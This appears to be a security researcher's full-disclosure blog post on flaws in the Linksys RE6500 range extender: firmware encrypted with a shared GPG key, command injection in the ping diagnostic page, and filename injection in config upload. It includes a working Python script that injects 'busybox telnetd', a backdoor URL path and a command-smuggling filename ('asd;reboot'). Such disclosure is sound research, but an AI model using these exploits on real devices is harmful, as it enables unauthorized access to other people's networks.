### Linksys RE6500 - Unauthenticated RCE: Full Disclosure Linksys RE6500 is a pretty new range extender build by ~~Linksys~~, well, more properly by Belkin. An USA product built just a few thousand km east in the "suicide factory" (the Foxconn factory, China)  My goal was to archive a personal need a telnet access, I never expected to come across such a big security ~~hole~~ holes, more properly because between poorly implemented backdoor ( goform/j78G-DFdg_24Mhw3?password= ) and lousy code, in the end I discovered a few security flaws. ## **tl;dr** li a0, "RCE" [jmp a0](https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#4) # Index #### [0 - Encrypted Firmware](https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#0) #### [1 - Code injection into diagnostic (ping webpage)](https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#1)...
### Linksys RE6500 - Unauthenticated RCE: Full Disclosure Linksys RE6500 is a pretty new range extender build by ~~Linksys~~, well, more properly by Belkin. An USA product built just a few thousand km east in the "suicide factory" (the Foxconn factory, China)  My goal was to archive a personal need a telnet access, I never expected to come across such a big security ~~hole~~ holes, more properly because between poorly implemented backdoor ( goform/j78G-DFdg_24Mhw3?password= ) and lousy code, in the end I discovered a few security flaws. ## **tl;dr** li a0, "RCE" [jmp a0](https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#4) # Index #### [0 - Encrypted Firmware](https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#0) #### [1 - Code injection into diagnostic (ping webpage)](https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#1) #### [2 - Code injection in config file upload](https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#2) #### [3 - Persistent webui DOS potentially exploitable](https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#3) #### [4 - Unauthenticated RCE](https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#4) #### [5 - Extra: Download latest beta firmware for any Linksys products](https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#5) ### 0 - Encrypted Firmware First of all, the firmware comes out encrypted by using GPG, so to proceed to (decrypt, unpack and) analyze the firmware we needed the public GPG key. I had set myself the limit to do not physically touch the device, so I took advantage of the configuration of uboot which (looks at ip 192.168.1.100, TFTP ptotocol, for a file named "um_factory_fw.bin") allowing to load a sort of recovery image -which in the case would have been openwrt- to reach my goal of saving the contents of the mtd partitions. I followed this boring idea and only realized afterwards, through the known relases, the presence of a previous unencrypted version of the firmware image, which includes the public GPG key inside. So the question comes up: does linksys use the same key to encrypt all their firmwares? Yes, they do!! I can copy and paste the key, but linksys can change the key from here: ### 1 - Code injection into diagnostic (ping) webpage ### When you think about "how to run the telnet daemon", avoiding the physical access, the most obvious thing is a try on the diagnostic page, the usual classic code injection through the ping page, but then you think, "hey, this is a linksys product, does an ex-brand Cisco really fall so low?" YES, they do. In fact from the firmware v1.05 up to v1.08 (with a minimal adapting) a nice super easy code injection can be done by injecting a crafted paramenter in a GET request into /goform/langSwitch ``` #!/usr/bin/env python #Linksys RE6500 V1.05 - Authenticated command injection Ping page from requests import Session import requests import os ip="192.168.1.226" url_codeinjection="http://"+ip+"/goform/systemCommand?pingTestIP=www.google.com&ping_size=32&ping_times=5&command=busybox+telnetd&+" requestedbody_login="password=0000074200016071000071120003627500015159" s = requests.Session() s.headers.update({'Referer': "http://"+ip+"/login.shtml"}) s.post("http://"+ip+"/goform/webLogin",data=requestedbody_login) s.headers.update({'Referer': "http://"+ip+"/admin/diagnostics.shtml"}) s.get(url_codeinjection) s.headers.update({'Origin': "http://"+ip}) s.headers.update({'Referer': "http://"+ip+"/admin/startping.shtml"}) s.post("http://"+ip+"/goform/pingstart", data="") ``` Incredulous I thought "ok, they made something wrong, this can happen". By the way, the V1.0.11.001 is immune to this code inject. ### 2 - Code injection in config file upload I figured out that the config.bin is not actually encrypted but it's just compressed (BZ2). Digging into the firmware, the upload_settings.cgi page, showed so clearly in front of me, something I had dreaming of doing for years: a file name as a code injection vector.  Yes, a touch /tmp/%s without sanitation at all brings us to upload a file named "asd;reboot" to inject code into the router. Very Funny!